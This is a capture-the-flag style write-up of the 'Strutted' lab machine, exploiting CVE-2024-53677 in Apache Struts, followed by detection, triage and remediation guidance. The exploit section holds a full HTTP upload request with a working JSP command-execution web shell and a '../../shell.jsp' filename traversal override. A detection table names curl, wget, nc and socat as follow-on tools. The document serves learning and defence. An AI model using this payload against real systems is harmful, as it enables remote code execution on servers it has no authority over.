Skip to main content
Hunter4Hunter
Strutted: CVE-2024-53677 Attack-to-Defense

Strutted: CVE-2024-53677 Attack-to-Defense

August 20, 2025
6 min read
Table of Contents

OS: Linux
IP: 10.10.11.59
Complete: Yes
Created time: August 20, 2025 9:12 PM
Level: Medium
Status: Done


Overview

Strutted is a medium-difficulty Linux machine that features a web application built with Apache Struts. The vulnerable version of Struts (6.3.0.1) is affected by CVE-2024-53677, which leads to an arbitrary file upload and RCE.

  • Vulnerability: Path Traversal in file upload → allows attackers to override FileName parameters → write arbitrary files under webroot → RCE.
  • Reference: NVD – CVE-2024-53677
  • Additional Deep-Dive: Y4tacker Blog

Reconnaissance

Nmap Results

nmap -sC -sV -oN nmap.txt 10.10.11.59
22/tcp open  ssh     OpenSSH 8.9p1 terUbuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
 
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Strutted™ - Instant Image Uploads
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Open ports confirm SSH and a web app on port 80

Port 80 - HTTP

The website allows users to upload and share images.

  • source code was downloadable as Docker Image, containing:
  • tomcat-users.xml with plaintext creds
  • pom.xml -> Struts version 6.3.0.1
  • upload.java- > Weak MIME-type checks (bypass possible)

docker-source

tomcat-users

pom.xml

upload.java

  • Upload filter only checks headers (GIF89a, JPEG, PNG) → polyglot bypass.
  • Struts automatically binds UploadFileName from request → attacker can manipulate path/filename.
  • Bug in FileUploadInterceptor allows overriding *FileName params.

Exploit

  1. Upload a polyglot file(GIF89a header + JSP paylaod).
  2. Override filename with ../../shell.jsp.
  3. The file lands in the webroot; visiting /shell.jsp results in RCE.
POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------28595235431535184633711166866
Origin: http://strutted.htb
Connection: close
Referer: http://strutted.htb/upload.action
Cookie: JSESSIONID=17F3A16170C3E0A242D72A0BBF82A633
Upgrade-Insecure-Requests: 1
Content-Length: 1170
 
-----------------------------28595235431535184633711166866
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/gif
 
GIF89a
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
    String action = request.getParameter("action");
    String output = "";
    try {
        if ("cmd".equals(action)) {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\n";
                }
                reader.close();
            }
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }
    response.setContentType("text/plain");
    out.print(output);
%>
-----------------------------28595235431535184633711166866
Content-Disposition: form-data; name="top.UploadFileName"
 
../../shell.jsp
-----------------------------28595235431535184633711166866--

exploit shell.jsp

User flag: e95aedf1a8dc69e47e460795e5bd4328


Privilege Escalation

Running sudo -l on james shows tcpdump runnable as root (no password).

Exploit: GTFOBins - tcpdump tcpdump

Root flag: d89b839b31ac202b028d3d567dff965c

root-proof


Defensive Analysis

The exploit produces several observable events. No single signal is sufficient in every deployment, so defenders should correlate the upload request, filesystem activity, and process execution.

Detection Opportunities

StageTelemetryDetection hypothesis
Upload manipulationWAF or application request telemetryA multipart request to an upload action contains an unexpected parameter ending in FileName and a traversal sequence such as ../. Standard nginx access logs do not normally record multipart bodies, so this requires WAF or application-layer visibility.
File placementFile integrity or Linux file-event telemetryThe Java/Tomcat process creates a .jsp file inside an exploded application directory or another executable web path. Alert on new server-side executable files, not ordinary files in the intended upload directory.
Command executionLinux process-creation telemetryThe Tomcat Java process launches a shell, discovery command, or network utility. This is a strong post-exploitation signal but must be tuned for applications that intentionally spawn operating-system processes.
Follow-on activityNetwork and process telemetryThe application server initiates an unusual outbound connection or launches tools such as curl, wget, nc, or socat.

The downloadable Sigma rule for suspicious Tomcat child processes implements the process-execution hypothesis. It is marked experimental because it has been syntax-checked but has not yet been evaluated against a representative benign Tomcat dataset.

Triage Checklist

When this detection fires:

  1. Confirm that the parent command line belongs to the expected Tomcat instance.
  2. Review the child process command line, user, working directory, and descendants.
  3. Search backward for recent multipart requests to upload endpoints from the same session or source address.
  4. Inspect the deployed application directories for recently created .jsp, .class, or archive files.
  5. Preserve the suspect file and process telemetry, then isolate the application instance if command execution is confirmed.

Remediation

Apache classifies S2-067 as critical and states that applications using the deprecated FileUploadInterceptor are affected. The required remediation is to:

  1. Upgrade to Apache Struts 6.4.0 or later—preferably the latest supported release.
  2. Migrate the application to ActionFileUploadInterceptor and the new Action File Upload mechanism.
  3. Remove the deprecated FileUploadInterceptor configuration. Continuing to use the old interceptor leaves the application vulnerable even after the framework upgrade.

See the official Apache S2-067 security bulletin, Apache 2024 announcement, and Action File Upload Interceptor documentation.

The following controls are defence in depth; they do not replace the framework upgrade and interceptor migration:

  • Store uploads outside the deployed web application and any executable web path.
  • Generate server-side storage names instead of trusting a client-provided filename.
  • Resolve and normalize the destination path, then verify that it remains inside the intended upload directory.
  • Validate actual file content and re-encode supported images instead of relying only on extensions, MIME headers, or magic bytes.
  • Apply finite upload size, file-count, and request-field limits.
  • Make the deployed application and webroot read-only to the service account where the architecture permits it.
  • Prevent direct access to JSP files and restrict outbound network access from the application tier.

Safe Verification Plan

Run these steps only in an isolated environment you own or are explicitly authorized to test.

Before the Change

  1. Record the Struts dependency version and the configured upload interceptor.
  2. Send a traversal test that attempts to place a harmless, uniquely named marker outside the intended upload directory.
  3. Record the HTTP response, application logs, resulting filesystem path, file owner, and hash.
  4. Replay representative process telemetry to confirm the Sigma rule reaches the expected alert pipeline.

After the Change

  1. Confirm the application is running Struts 6.4.0 or later and uses ActionFileUploadInterceptor.
  2. Repeat the exact traversal test. The marker must not appear outside the intended upload directory.
  3. Confirm uploaded content cannot be executed through the web server.
  4. Run legitimate upload tests to check file type, size, multiple-file, and error-handling behavior.
  5. Attach the before-and-after results to this Case and have a second practitioner review them.

Current Verification State

The original attack is demonstrated above, and the detection and remediation guidance are now documented. The patched application has not been independently retested for this Case, so Verify remains open and the Case remains marked Needs revalidation.